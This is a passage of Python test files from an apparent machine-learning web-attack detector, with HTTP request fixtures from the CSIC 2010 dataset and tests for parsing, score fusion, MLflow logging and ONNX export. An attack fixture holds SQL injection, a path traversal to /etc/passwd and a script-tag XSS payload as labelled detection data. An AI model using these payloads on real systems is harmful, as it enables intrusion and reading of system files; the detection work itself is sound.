User-Agent: Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.8 (like Gecko)
|
||||||
|
Accept: text/xml,application/xml
|
||||||
|
Accept-Language: en
|
||||||
|
Connection: close
|
||||||
|
|
||||||
|
GET /tienda1/publico/entrar.jsp HTTP/1.1
|
||||||
|
Host: localhost:8080
|
||||||
|
User-Agent: Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.8 (like Gecko)
|
||||||
|
Accept: text/xml
|
||||||
|
Connection: close
|
||||||
|
|
||||||
|
POST /tienda1/publico/registro.jsp HTTP/1.1
|
||||||
|
Host: localhost:8080
|
||||||
|
User-Agent: Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.8 (like Gecko)
|
||||||
|
Accept: text/xml,application/xml
|
||||||
|
Content-Type: application/x-www-form-urlencoded
|
||||||
|
Content-Length: 64
|
||||||
|
Connection: close
|
||||||
|
|
||||||
|
nombre=Juan&apellidos=Garcia&email=juan@example.com&submit=Enviar
|
||||||
|
|
||||||
|
GET /tienda1/publico/vac498.jsp?manufacturer=Dell HTTP/1.1
|
||||||
|
Host: localhost:8080
|
||||||
|
User-Agent: Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.8 (like Gecko)
|
||||||
|
Accept: text/xml
|
||||||
|
Connection: close
|
||||||
|
"""
|
||||||
|
|
||||||
|
ATTACK_FIXTURE = """\
|
||||||
|
GET /tienda1/publico/anadir.jsp?id=2&nombre=Jam%F3n'+OR+1=1-- HTTP/1.1
|
||||||
|
Host: localhost:8080
|
||||||
|
User-Agent: Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.8 (like Gecko)
|
||||||
|
Accept: text/xml
|
||||||
|
Connection: close
|
||||||
|
|
||||||
|
POST /tienda1/publico/autenticar.jsp HTTP/1.1
|
||||||
|
Host: localhost:8080
|
||||||
|
User-Agent: Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.8 (like Gecko)
|
||||||
|
Content-Type: application/x-www-form-urlencoded
|
||||||
|
Content-Length: 68
|
||||||
|
Connection: close
|
||||||
|
|
||||||
|
usuario=admin'+OR+1=1--&contrasenya=pass&B1=Enviar
|
||||||
|
|
||||||
|
GET /tienda1/publico/../../../etc/passwd HTTP/1.1
|
||||||
|
Host: localhost:8080
|
||||||
|
User-Agent: Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.8 (like Gecko)
|
||||||
|
Accept: text/xml
|
||||||
|
Connection: close
|
||||||
|
|
||||||
|
GET /tienda1/publico/anadir.jsp?id=<script>alert(1)</script> HTTP/1.1
|
||||||
|
Host: localhost:8080
|
||||||
|
User-Agent: Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.8 (like Gecko)
|
||||||
|
Accept: text/xml
|
||||||
|
Connection: close
|
||||||
|
"""
|
||||||
|
|
||||||
|
MALFORMED_FIXTURE = """\
|
||||||
|
THIS IS NOT HTTP
|
||||||
|
|
||||||
|
GET /valid/path HTTP/1.1
|
||||||
|
Host: localhost:8080
|
||||||
|
User-Agent: TestBot
|
||||||
|
Connection: close
|
||||||
|
|
||||||
|
just some random garbage here
|
||||||
|
and more garbage
|
||||||
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
class TestParseCSICFile:
|
||||||
|
"""
|
||||||
|
Test CSIC 2010 file parser
|
||||||
|
"""
|
||||||
|
|
||||||
|
def test_parses_normal_get_requests(self, tmp_path: Path) -> None:
|
||||||
|
"""
|
||||||
|
Normal GET requests are parsed into CSICRequest dataclass instances
|
||||||
|
"""
|
||||||
|
f = tmp_path / "normalTrafficTraining.txt"
|
||||||
|
f.write_text(NORMAL_GET_FIXTURE, encoding="utf-8")
|
||||||
|
|
||||||
|
results = parse_csic_file(f, label=0)
|
||||||
|
|
||||||
|
assert len(results) == 5
|
||||||
|
assert all(isinstance(r, CSICRequest) for r in results)
|
||||||
|
assert all(r.label == 0 for r in results)
|
||||||
|
|
||||||
|
def test_parses_get_method_and_path(self, tmp_path: Path) -> None:
|
||||||
|
"""
|
||||||
|
First GET request has correct method, path, and query string
|
||||||
|
"""
|
||||||
|
f = tmp_path / "normal.txt"
|
||||||
|
f.write_text(NORMAL_GET_FIXTURE, encoding="utf-8")
|
||||||
|
|
||||||
|
results = parse_csic_file(f, label=0)
|
||||||
|
first = results[0]
|
||||||
|
|
||||||
|
assert first.method == "GET"
|
||||||
|
assert first.path == "/tienda1/publico/anadir.jsp"
|
||||||
|
assert first.query_string == "id=2&nombre=Jam%F3n"
|
||||||
|
assert first.protocol == "HTTP/1.1"
|
||||||
|
|
||||||
|
def test_parses_headers(self, tmp_path: Path) -> None:
|
||||||
|
"""
|
||||||
|
Headers are captured as a dict
|
||||||
|
"""
|
||||||
|
f = tmp_path / "normal.txt"
|
||||||
|
f.write_text(NORMAL_GET_FIXTURE, encoding="utf-8")
|
||||||
|
|
||||||
|
results = parse_csic_file(f, label=0)
|
||||||
|
first = results[0]
|
||||||
|
|
||||||
|
assert first.headers["Host"] == "localhost:8080"
|
||||||
|
assert "Konqueror" in first.headers["User-Agent"]
|
||||||
|
|
||||||
|
def test_parses_post_with_body(self, tmp_path: Path) -> None:
|
||||||
|
"""
|
||||||
|
POST request body is captured
|
||||||
|
"""
|
||||||
|
f = tmp_path / "normal.txt"
|
||||||
|
f.write_text(NORMAL_GET_FIXTURE, encoding="utf-8")
|
||||||
|
|
||||||
|
results = parse_csic_file(f, label=0)
|
||||||
|
post_req = results[3]
|
||||||
|
|
||||||
|
assert post_req.method == "POST"
|
||||||
|
assert "nombre=Juan" in post_req.body
|
||||||
|
|
||||||
|
def test_parses_attack_file_with_label_1(self, tmp_path: Path) -> None:
|
||||||
|
"""
|
||||||
|
Attack file entries get label=1
|
||||||
|
"""
|
||||||
|
f = tmp_path / "anomalous.txt"
|
||||||
|
f.write_text(ATTACK_FIXTURE, encoding="utf-8")
|
||||||
|
|
||||||
|
results = parse_csic_file(f, label=1)
|
||||||
|
|
||||||
|
assert len(results) == 4
|
||||||
|
assert all(r.label == 1 for r in results)
|
||||||
|
|
||||||
|
def test_attack_sqli_in_query(self, tmp_path: Path) -> None:
|
||||||
|
"""
|
||||||
|
SQLi payload appears in query string of attack GET
|
||||||
|
"""
|
||||||
|
f = tmp_path / "anomalous.txt"
|
||||||
|
f.write_text(ATTACK_FIXTURE, encoding="utf-8")
|
||||||
|
|
||||||
|
results = parse_csic_file(f, label=1)
|
||||||
|
first = results[0]
|
||||||
|
|
||||||
|
assert "OR+1=1" in first.query_string
|
||||||
|
|
||||||
|
def test_attack_sqli_in_body(self, tmp_path: Path) -> None:
|
||||||
|
"""
|
||||||
|
SQLi payload appears in POST body of attack
|
||||||
|
"""
|
||||||
|
f = tmp_path / "anomalous.txt"
|
||||||
|
f.write_text(ATTACK_FIXTURE, encoding="utf-8")
|
||||||
|
|
||||||
|
results = parse_csic_file(f, label=1)
|
||||||
|
post_req = results[1]
|
||||||
|
|
||||||
|
assert post_req.method == "POST"
|
||||||
|
assert "OR+1=1" in post_req.body
|
||||||
|
|
||||||
|
def test_malformed_blocks_skipped(self, tmp_path: Path) -> None:
|
||||||
|
"""
|
||||||
|
Malformed/non-HTTP lines are skipped gracefully
|
||||||
|
"""
|
||||||
|
f = tmp_path / "malformed.txt"
|
||||||
|
f.write_text(MALFORMED_FIXTURE, encoding="utf-8")
|
||||||
|
|
||||||
|
results = parse_csic_file(f, label=0)
|
||||||
|
|
||||||
|
assert len(results) == 1
|
||||||
|
assert results[0].method == "GET"
|
||||||
|
assert results[0].path == "/valid/path"
|
||||||
|
|
||||||
|
def test_empty_file_returns_empty_list(self, tmp_path: Path) -> None:
|
||||||
|
"""
|
||||||
|
Empty file returns an empty list
|
||||||
|
"""
|
||||||
|
f = tmp_path / "empty.txt"
|
||||||
|
f.write_text("", encoding="utf-8")
|
||||||
|
|
||||||
|
results = parse_csic_file(f, label=0)
|
||||||
|
|
||||||
|
assert results == []
|
||||||
|
|
||||||
|
|
||||||
|
class TestCSICToParsedEntry:
|
||||||
|
"""
|
||||||
|
Test conversion from CSICRequest to ParsedLogEntry
|
||||||
|
"""
|
||||||
|
|
||||||
|
def test_converts_get_request(self) -> None:
|
||||||
|
"""
|
||||||
|
GET CSICRequest converts to ParsedLogEntry with synthesized fields
|
||||||
|
"""
|
||||||
|
req = CSICRequest(
|
||||||
|
method="GET",
|
||||||
|
path="/tienda1/publico/anadir.jsp",
|
||||||
|
query_string="id=2&nombre=test",
|
||||||
|
protocol="HTTP/1.1",
|
||||||
|
headers={
|
||||||
|
"Host": "localhost:8080",
|
||||||
|
"User-Agent": "Mozilla/5.0 (compatible; Konqueror/3.5)",
|
||||||
|
},
|
||||||
|
body="",
|
||||||
|
label=0,
|
||||||
|
)
|
||||||
|
|
||||||
|
entry = csic_to_parsed_entry(req)
|
||||||
|
|
||||||
|
assert entry.method == "GET"
|
||||||
|
assert entry.path == "/tienda1/publico/anadir.jsp"
|
||||||
|
assert entry.query_string == "id=2&nombre=test"
|
||||||
|
assert entry.status_code == 200
|
||||||
|
assert entry.response_size == 0
|
||||||
|
assert entry.user_agent == "Mozilla/5.0 (compatible; Konqueror/3.5)"
|
||||||
|
assert entry.ip != ""
|
||||||
|
assert entry.timestamp is not None
|
||||||
|
|
||||||
|
def test_converts_post_with_body_in_query(self) -> None:
|
||||||
|
"""
|
||||||
|
POST body is appended to query_string for feature extraction
|
||||||
|
"""
|
||||||
|
req = CSICRequest(
|
||||||
|
method="POST",
|
||||||
|
path="/login",
|
||||||
|
query_string="",
|
||||||
|
protocol="HTTP/1.1",
|
||||||
|
headers={"User-Agent": "TestBot"},
|
||||||
|
body="user=admin'+OR+1=1--&pass=x",
|
||||||
|
label=1,
|
||||||
|
)
|
||||||
|
|
||||||
|
entry = csic_to_parsed_entry(req)
|
||||||
|
|
||||||
|
assert entry.method == "POST"
|
||||||
|
assert "OR+1=1" in entry.query_string
|
||||||
|
|
||||||
|
def test_missing_ua_gets_default(self) -> None:
|
||||||
|
"""
|
||||||
|
CSICRequest without User-Agent header gets a default user agent
|
||||||
|
"""
|
||||||
|
req = CSICRequest(
|
||||||
|
method="GET",
|
||||||
|
path="/test",
|
||||||
|
query_string="",
|
||||||
|
protocol="HTTP/1.1",
|
||||||
|
headers={"Host": "localhost"},
|
||||||
|
body="",
|
||||||
|
label=0,
|
||||||
|
)
|
||||||
|
|
||||||
|
entry = csic_to_parsed_entry(req)
|
||||||
|
|
||||||
|
assert len(entry.user_agent) > 0
|
||||||
|
|
||||||
|
|
||||||
|
class TestLoadCSICDataset:
|
||||||
|
"""
|
||||||
|
Test end-to-end dataset loading with feature extraction
|
||||||
|
"""
|
||||||
|
|
||||||
|
def test_returns_correct_shape(self, tmp_path: Path) -> None:
|
||||||
|
"""
|
||||||
|
load_csic_dataset returns X with 35 columns and matching y
|
||||||
|
"""
|
||||||
|
normal = tmp_path / "normal.txt"
|
||||||
|
attack = tmp_path / "attack.txt"
|
||||||
|
normal.write_text(NORMAL_GET_FIXTURE, encoding="utf-8")
|
||||||
|
attack.write_text(ATTACK_FIXTURE, encoding="utf-8")
|
||||||
|
|
||||||
|
X, y = load_csic_dataset(normal, attack)
|
||||||
|
|
||||||
|
assert X.shape[1] == 35
|
||||||
|
assert X.shape[0] == y.shape[0]
|
||||||
|
|
||||||
|
def test_contains_both_labels(self, tmp_path: Path) -> None:
|
||||||
|
"""
|
||||||
|
y array contains both 0 (normal) and 1 (attack) labels
|
||||||
|
"""
|
||||||
|
normal = tmp_path / "normal.txt"
|
||||||
|
attack = tmp_path / "attack.txt"
|
||||||
|
normal.write_text(NORMAL_GET_FIXTURE, encoding="utf-8")
|
||||||
|
attack.write_text(ATTACK_FIXTURE, encoding="utf-8")
|
||||||
|
|
||||||
|
_, y = load_csic_dataset(normal, attack)
|
||||||
|
|
||||||
|
assert 0 in y
|
||||||
|
assert 1 in y
|
||||||
|
|
||||||
|
def test_label_counts_match_files(self, tmp_path: Path) -> None:
|
||||||
|
"""
|
||||||
|
Normal and attack counts match the number of requests in each file
|
||||||
|
"""
|
||||||
|
normal = tmp_path / "normal.txt"
|
||||||
|
attack = tmp_path / "attack.txt"
|
||||||
|
normal.write_text(NORMAL_GET_FIXTURE, encoding="utf-8")
|
||||||
|
attack.write_text(ATTACK_FIXTURE, encoding="utf-8")
|
||||||
|
|
||||||
|
_, y = load_csic_dataset(normal, attack)
|
||||||
|
|
||||||
|
assert np.sum(y == 0) == 5
|
||||||
|
assert np.sum(y == 1) == 4
|
||||||
|
|
||||||
|
def test_feature_values_are_finite(self, tmp_path: Path) -> None:
|
||||||
|
"""
|
||||||
|
All feature values are finite (no NaN or Inf)
|
||||||
|
"""
|
||||||
|
normal = tmp_path / "normal.txt"
|
||||||
|
attack = tmp_path / "attack.txt"
|
||||||
|
normal.write_text(NORMAL_GET_FIXTURE, encoding="utf-8")
|
||||||
|
attack.write_text(ATTACK_FIXTURE, encoding="utf-8")
|
||||||
|
|
||||||
|
X, _ = load_csic_dataset(normal, attack)
|
||||||
|
|
||||||
|
assert np.all(np.isfinite(X))
|
||||||
|
|
@ -1,6 +1,8 @@
|
||||||
"""
|
"""
|
||||||
©AngelaMos | 2026
|
©AngelaMos | 2026
|
||||||
test_detection.py
|
test_detection.py
|
||||||
|
|
||||||
|
Tests the rule engine's threat scoring, severity classification, and attack pattern matching.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
from datetime import datetime, UTC
|
from datetime import datetime, UTC
|
||||||
|
|
|
||||||
|
|
@ -0,0 +1,156 @@
|
||||||
|
"""
|
||||||
|
©AngelaMos | 2026
|
||||||
|
test_ensemble.py
|
||||||
|
|
||||||
|
Tests ensemble score normalization, weighted fusion, ML/rule blending, and severity classification.
|
||||||
|
"""
|
||||||
|
|
||||||
|
from app.core.detection.ensemble import (
|
||||||
|
blend_scores,
|
||||||
|
classify_severity,
|
||||||
|
fuse_scores,
|
||||||
|
normalize_ae_score,
|
||||||
|
normalize_if_score,
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
class TestScoreNormalization:
|
||||||
|
|
||||||
|
def test_ae_score_below_threshold(self) -> None:
|
||||||
|
"""
|
||||||
|
AE error below threshold maps to a score below 0.5.
|
||||||
|
"""
|
||||||
|
result = normalize_ae_score(0.05, threshold=0.10)
|
||||||
|
assert abs(result - 0.25) < 1e-6
|
||||||
|
|
||||||
|
def test_ae_score_above_double_threshold_caps_at_one(self) -> None:
|
||||||
|
"""
|
||||||
|
AE error at 3x threshold is capped at 1.0.
|
||||||
|
"""
|
||||||
|
result = normalize_ae_score(0.30, threshold=0.10)
|
||||||
|
assert result == 1.0
|
||||||
|
|
||||||
|
def test_ae_score_zero_error(self) -> None:
|
||||||
|
"""
|
||||||
|
Zero reconstruction error maps to a score of 0.0.
|
||||||
|
"""
|
||||||
|
result = normalize_ae_score(0.0, threshold=0.10)
|
||||||
|
assert result == 0.0
|
||||||
|
|
||||||
|
def test_if_score_negative(self) -> None:
|
||||||
|
"""
|
||||||
|
Negative IF score (anomalous region) maps above 0.5.
|
||||||
|
"""
|
||||||
|
result = normalize_if_score(-0.5)
|
||||||
|
assert abs(result - 0.75) < 1e-6
|
||||||
|
|
||||||
|
def test_if_score_positive(self) -> None:
|
||||||
|
"""
|
||||||
|
Positive IF score (normal region) maps below 0.5.
|
||||||
|
"""
|
||||||
|
result = normalize_if_score(0.5)
|
||||||
|
assert abs(result - 0.25) < 1e-6
|
||||||
|
|
||||||
|
def test_if_score_zero(self) -> None:
|
||||||
|
"""
|
||||||
|
Zero IF score maps to exactly 0.5.
|
||||||
|
"""
|
||||||
|
result = normalize_if_score(0.0)
|
||||||
|
assert abs(result - 0.5) < 1e-6
|
||||||
|
|
||||||
|
|
||||||
|
class TestEnsembleFusion:
|
||||||
|
|
||||||
|
def test_weighted_average(self) -> None:
|
||||||
|
"""
|
||||||
|
Fused score is the weighted average of AE, RF, and IF scores.
|
||||||
|
"""
|
||||||
|
scores = {"ae": 0.8, "rf": 0.6, "if": 0.5}
|
||||||
|
weights = {"ae": 0.4, "rf": 0.4, "if": 0.2}
|
||||||
|
result = fuse_scores(scores, weights)
|
||||||
|
expected = 0.8 * 0.4 + 0.6 * 0.4 + 0.5 * 0.2
|
||||||
|
assert abs(result - expected) < 1e-6
|
||||||
|
|
||||||
|
def test_all_zero_scores(self) -> None:
|
||||||
|
"""
|
||||||
|
All-zero model scores fuse to 0.0.
|
||||||
|
"""
|
||||||
|
scores = {"ae": 0.0, "rf": 0.0, "if": 0.0}
|
||||||
|
weights = {"ae": 0.4, "rf": 0.4, "if": 0.2}
|
||||||
|
assert fuse_scores(scores, weights) == 0.0
|
||||||
|
|
||||||
|
def test_all_max_scores(self) -> None:
|
||||||
|
"""
|
||||||
|
All-one model scores fuse to 1.0.
|
||||||
|
"""
|
||||||
|
scores = {"ae": 1.0, "rf": 1.0, "if": 1.0}
|
||||||
|
weights = {"ae": 0.4, "rf": 0.4, "if": 0.2}
|
||||||
|
assert abs(fuse_scores(scores, weights) - 1.0) < 1e-6
|
||||||
|
|
||||||
|
def test_partial_models(self) -> None:
|
||||||
|
"""
|
||||||
|
Fusion works correctly with only two models present.
|
||||||
|
"""
|
||||||
|
scores = {"ae": 0.9, "rf": 0.7}
|
||||||
|
weights = {"ae": 0.5, "rf": 0.5}
|
||||||
|
expected = 0.9 * 0.5 + 0.7 * 0.5
|
||||||
|
assert abs(fuse_scores(scores, weights) - expected) < 1e-6
|
||||||
|
|
||||||
|
|
||||||
|
class TestBlendScores:
|
||||||
|
|
||||||
|
def test_blend_with_rule_score(self) -> None:
|
||||||
|
"""
|
||||||
|
ML and rule scores blend according to the specified ml_weight.
|
||||||
|
"""
|
||||||
|
result = blend_scores(ml_score=0.7, rule_score=0.9, ml_weight=0.7)
|
||||||
|
expected = 0.7 * 0.7 + 0.9 * 0.3
|
||||||
|
assert abs(result - expected) < 1e-6
|
||||||
|
|
||||||
|
def test_blend_full_ml_weight(self) -> None:
|
||||||
|
"""
|
||||||
|
ml_weight of 1.0 returns the pure ML score.
|
||||||
|
"""
|
||||||
|
result = blend_scores(ml_score=0.8, rule_score=0.2, ml_weight=1.0)
|
||||||
|
assert abs(result - 0.8) < 1e-6
|
||||||
|
|
||||||
|
def test_blend_full_rule_weight(self) -> None:
|
||||||
|
"""
|
||||||
|
ml_weight of 0.0 returns the pure rule score.
|
||||||
|
"""
|
||||||
|
result = blend_scores(ml_score=0.8, rule_score=0.2, ml_weight=0.0)
|
||||||
|
assert abs(result - 0.2) < 1e-6
|
||||||
|
|
||||||
|
def test_blend_clamped_to_one(self) -> None:
|
||||||
|
"""
|
||||||
|
Blended score is clamped to 1.0 even when both inputs are 1.0.
|
||||||
|
"""
|
||||||
|
result = blend_scores(ml_score=1.0, rule_score=1.0, ml_weight=0.5)
|
||||||
|
assert result <= 1.0
|
||||||
|
|
||||||
|
|
||||||
|
class TestClassifySeverity:
|
||||||
|
|
||||||
|
def test_high(self) -> None:
|
||||||
|
"""
|
||||||
|
Scores >= 0.7 classify as HIGH.
|
||||||
|
"""
|
||||||
|
assert classify_severity(0.8) == "HIGH"
|
||||||
|
assert classify_severity(0.7) == "HIGH"
|
||||||
|
assert classify_severity(1.0) == "HIGH"
|
||||||
|
|
||||||
|
def test_medium(self) -> None:
|
||||||
|
"""
|
||||||
|
Scores in [0.5, 0.7) classify as MEDIUM.
|
||||||
|
"""
|
||||||
|
assert classify_severity(0.55) == "MEDIUM"
|
||||||
|
assert classify_severity(0.5) == "MEDIUM"
|
||||||
|
assert classify_severity(0.69) == "MEDIUM"
|
||||||
|
|
||||||
|
def test_low(self) -> None:
|
||||||
|
"""
|
||||||
|
Scores below 0.5 classify as LOW.
|
||||||
|
"""
|
||||||
|
assert classify_severity(0.3) == "LOW"
|
||||||
|
assert classify_severity(0.0) == "LOW"
|
||||||
|
assert classify_severity(0.49) == "LOW"
|
||||||
|
|
@ -0,0 +1,101 @@
|
||||||
|
"""
|
||||||
|
©AngelaMos | 2026
|
||||||
|
test_experiment.py
|
||||||
|
|
||||||
|
Tests the VigilExperiment MLflow wrapper: run lifecycle, param/metric logging, and status tagging.
|
||||||
|
"""
|
||||||
|
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
import mlflow
|
||||||
|
import pytest
|
||||||
|
|
||||||
|
from ml.experiment import VigilExperiment
|
||||||
|
|
||||||
|
|
||||||
|
@pytest.fixture(autouse=True)
|
||||||
|
def _mlflow_tmp(tmp_path: Path) -> None:
|
||||||
|
"""
|
||||||
|
Point MLflow at a temp directory for isolation
|
||||||
|
"""
|
||||||
|
mlflow.set_tracking_uri(f"file:{tmp_path}/mlruns")
|
||||||
|
|
||||||
|
|
||||||
|
class TestVigilExperiment:
|
||||||
|
|
||||||
|
def test_creates_run_with_id(self) -> None:
|
||||||
|
"""
|
||||||
|
Entering the context manager creates an MLflow run with a non-None run ID.
|
||||||
|
"""
|
||||||
|
with VigilExperiment("test-exp") as exp:
|
||||||
|
assert exp.run_id is not None
|
||||||
|
|
||||||
|
def test_run_id_is_none_before_enter(self) -> None:
|
||||||
|
"""
|
||||||
|
run_id is None until the context manager is entered.
|
||||||
|
"""
|
||||||
|
exp = VigilExperiment("test-exp")
|
||||||
|
assert exp.run_id is None
|
||||||
|
|
||||||
|
def test_log_params(self) -> None:
|
||||||
|
"""
|
||||||
|
log_params writes key-value pairs to the MLflow run as strings.
|
||||||
|
"""
|
||||||
|
with VigilExperiment("test-exp") as exp:
|
||||||
|
exp.log_params({"lr": 0.001, "epochs": 10})
|
||||||
|
run = mlflow.get_run(exp.run_id)
|
||||||
|
assert run.data.params["lr"] == "0.001"
|
||||||
|
assert run.data.params["epochs"] == "10"
|
||||||
|
|
||||||
|
def test_log_metrics(self) -> None:
|
||||||
|
"""
|
||||||
|
log_metrics stores numeric values on the MLflow run.
|
||||||
|
"""
|
||||||
|
with VigilExperiment("test-exp") as exp:
|
||||||
|
exp.log_metrics({"f1": 0.95, "loss": 0.02})
|
||||||
|
run = mlflow.get_run(exp.run_id)
|
||||||
|
assert run.data.metrics["f1"] == 0.95
|
||||||
|
|
||||||
|
def test_log_artifact(self, tmp_path: Path) -> None:
|
||||||
|
"""
|
||||||
|
log_artifact uploads a file so it appears in the run's artifact list.
|
||||||
|
"""
|
||||||
|
artifact = tmp_path / "dummy.txt"
|
||||||
|
artifact.write_text("test content")
|
||||||
|
with VigilExperiment("test-exp") as exp:
|
||||||
|
exp.log_artifact(artifact)
|
||||||
|
run_id = exp.run_id
|
||||||
|
client = mlflow.MlflowClient()
|
||||||
|
artifacts = client.list_artifacts(run_id)
|
||||||
|
names = [a.path for a in artifacts]
|
||||||
|
assert "dummy.txt" in names
|
||||||
|
|
||||||
|
def test_system_metadata_logged(self) -> None:
|
||||||
|
"""
|
||||||
|
python_version and platform tags are added automatically on run start.
|
||||||
|
"""
|
||||||
|
with VigilExperiment("test-exp") as exp:
|
||||||
|
run = mlflow.get_run(exp.run_id)
|
||||||
|
assert "python_version" in run.data.tags
|
||||||
|
assert "platform" in run.data.tags
|
||||||
|
|
||||||
|
def test_completed_status_on_success(self) -> None:
|
||||||
|
"""
|
||||||
|
Run tagged with status='completed' when the context exits cleanly.
|
||||||
|
"""
|
||||||
|
with VigilExperiment("test-exp") as exp:
|
||||||
|
run_id = exp.run_id
|
||||||
|
run = mlflow.get_run(run_id)
|
||||||
|
assert run.data.tags["status"] == "completed"
|
||||||
|
|
||||||
|
def test_failed_status_on_exception(self) -> None:
|
||||||
|
"""
|
||||||
|
Run tagged with status='failed' and error message when an exception is raised.
|
||||||
|
"""
|
||||||
|
run_id = None
|
||||||
|
with pytest.raises(ValueError), VigilExperiment("test-exp") as exp:
|
||||||
|
run_id = exp.run_id
|
||||||
|
raise ValueError("boom")
|
||||||
|
run = mlflow.get_run(run_id)
|
||||||
|
assert run.data.tags["status"] == "failed"
|
||||||
|
assert "boom" in run.data.tags["error"]
|
||||||
|
|
@ -0,0 +1,131 @@
|
||||||
|
"""
|
||||||
|
©AngelaMos | 2026
|
||||||
|
test_export_onnx.py
|
||||||
|
|
||||||
|
Tests ONNX export for the autoencoder, random forest, and isolation forest models.
|
||||||
|
"""
|
||||||
|
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
import numpy as np
|
||||||
|
import onnxruntime as ort
|
||||||
|
import torch
|
||||||
|
from sklearn.ensemble import IsolationForest, RandomForestClassifier
|
||||||
|
|
||||||
|
from ml.autoencoder import ThreatAutoencoder
|
||||||
|
from ml.export_onnx import (
|
||||||
|
export_autoencoder,
|
||||||
|
export_isolation_forest,
|
||||||
|
export_random_forest,
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
class TestAutoencoderExport:
|
||||||
|
|
||||||
|
def test_creates_onnx_file(self, tmp_path: Path) -> None:
|
||||||
|
"""
|
||||||
|
Exporting creates a non-empty .onnx file at the given path.
|
||||||
|
"""
|
||||||
|
model = ThreatAutoencoder(input_dim=35)
|
||||||
|
path = export_autoencoder(model, tmp_path / "ae.onnx")
|
||||||
|
assert path.exists()
|
||||||
|
assert path.stat().st_size > 0
|
||||||
|
|
||||||
|
def test_onnx_output_matches_pytorch(self, tmp_path: Path) -> None:
|
||||||
|
"""
|
||||||
|
ONNX inference output matches PyTorch forward pass within 1e-5 tolerance.
|
||||||
|
"""
|
||||||
|
torch.manual_seed(42)
|
||||||
|
model = ThreatAutoencoder(input_dim=35)
|
||||||
|
model.eval()
|
||||||
|
onnx_path = export_autoencoder(model, tmp_path / "ae.onnx")
|
||||||
|
|
||||||
|
rng = np.random.default_rng(42)
|
||||||
|
x = rng.standard_normal((8, 35)).astype(np.float32)
|
||||||
|
|
||||||
|
with torch.no_grad():
|
||||||
|
pt_out = model(torch.from_numpy(x)).numpy()
|
||||||
|
|
||||||
|
session = ort.InferenceSession(str(onnx_path))
|
||||||
|
ort_out = session.run(None, {"features": x})[0]
|
||||||
|
|
||||||
|
np.testing.assert_allclose(pt_out, ort_out, atol=1e-5)
|
||||||
|
|
||||||
|
def test_dynamic_batch_dimension(self, tmp_path: Path) -> None:
|
||||||
|
"""
|
||||||
|
Exported model accepts variable batch sizes (1, 16, 64).
|
||||||
|
"""
|
||||||
|
model = ThreatAutoencoder(input_dim=35)
|
||||||
|
model.eval()
|
||||||
|
onnx_path = export_autoencoder(model, tmp_path / "ae.onnx")
|
||||||
|
session = ort.InferenceSession(str(onnx_path))
|
||||||
|
|
||||||
|
for batch_size in (1, 16, 64):
|
||||||
|
rng = np.random.default_rng(batch_size)
|
||||||
|
x = rng.standard_normal((batch_size, 35)).astype(np.float32)
|
||||||
|
out = session.run(None, {"features": x})[0]
|
||||||
|
assert out.shape == (batch_size, 35)
|
||||||
|
|
||||||
|
|
||||||
|
class TestRandomForestExport:
|
||||||
|
|
||||||
|
def test_creates_onnx_file(self, tmp_path: Path) -> None:
|
||||||
|
"""
|
||||||
|
Exporting a fitted RandomForest creates a non-empty .onnx file.
|
||||||
|
"""
|
||||||
|
rng = np.random.default_rng(42)
|
||||||
|
rf = RandomForestClassifier(n_estimators=10, random_state=42)
|
||||||
|
X = rng.standard_normal((100, 35)).astype(np.float32)
|
||||||
|
y = np.concatenate([np.zeros(70, dtype=int), np.ones(30, dtype=int)])
|
||||||
|
rf.fit(X, y)
|
||||||
|
path = export_random_forest(rf, 35, tmp_path / "rf.onnx")
|
||||||
|
assert path.exists()
|
||||||
|
assert path.stat().st_size > 0
|
||||||
|
|
||||||
|
def test_onnx_produces_valid_output(self, tmp_path: Path) -> None:
|
||||||
|
"""
|
||||||
|
ONNX inference returns class predictions and probabilities for each sample.
|
||||||
|
"""
|
||||||
|
rng = np.random.default_rng(42)
|
||||||
|
rf = RandomForestClassifier(n_estimators=10, random_state=42)
|
||||||
|
X = rng.standard_normal((100, 35)).astype(np.float32)
|
||||||
|
y = np.concatenate([np.zeros(70, dtype=int), np.ones(30, dtype=int)])
|
||||||
|
rf.fit(X, y)
|
||||||
|
onnx_path = export_random_forest(rf, 35, tmp_path / "rf.onnx")
|
||||||
|
session = ort.InferenceSession(str(onnx_path))
|
||||||
|
|
||||||
|
x_test = rng.standard_normal((5, 35)).astype(np.float32)
|
||||||
|
result = session.run(None, {"features": x_test})
|
||||||
|
assert len(result) == 2
|
||||||
|
assert len(result[0]) == 5
|
||||||
|
|
||||||
|
|
||||||
|
class TestIsolationForestExport:
|
||||||
|
|
||||||
|
def test_creates_onnx_file(self, tmp_path: Path) -> None:
|
||||||
|
"""
|
||||||
|
Exporting a fitted IsolationForest creates a non-empty .onnx file.
|
||||||
|
"""
|
||||||
|
rng = np.random.default_rng(42)
|
||||||
|
iso = IsolationForest(n_estimators=10, random_state=42)
|
||||||
|
iso.fit(rng.standard_normal((100, 35)).astype(np.float32))
|
||||||
|
path = export_isolation_forest(iso, 35, tmp_path / "if.onnx")
|
||||||
|
assert path.exists()
|
||||||
|
assert path.stat().st_size > 0
|
||||||
|
|
||||||
|
def test_onnx_scores_match_decision_function(self, tmp_path: Path) -> None:
|
||||||
|
"""
|
||||||
|
ONNX anomaly scores match sklearn decision_function within 1e-4 tolerance.
|
||||||
|
"""
|
||||||
|
rng = np.random.default_rng(42)
|
||||||
|
iso = IsolationForest(n_estimators=10, random_state=42)
|
||||||
|
X = rng.standard_normal((100, 35)).astype(np.float32)
|
||||||
|
iso.fit(X)
|
||||||
|
onnx_path = export_isolation_forest(iso, 35, tmp_path / "if.onnx")
|
||||||
|
session = ort.InferenceSession(str(onnx_path))
|
||||||
|
|
||||||
|
x_test = rng.standard_normal((10, 35)).astype(np.float32)
|
||||||
|
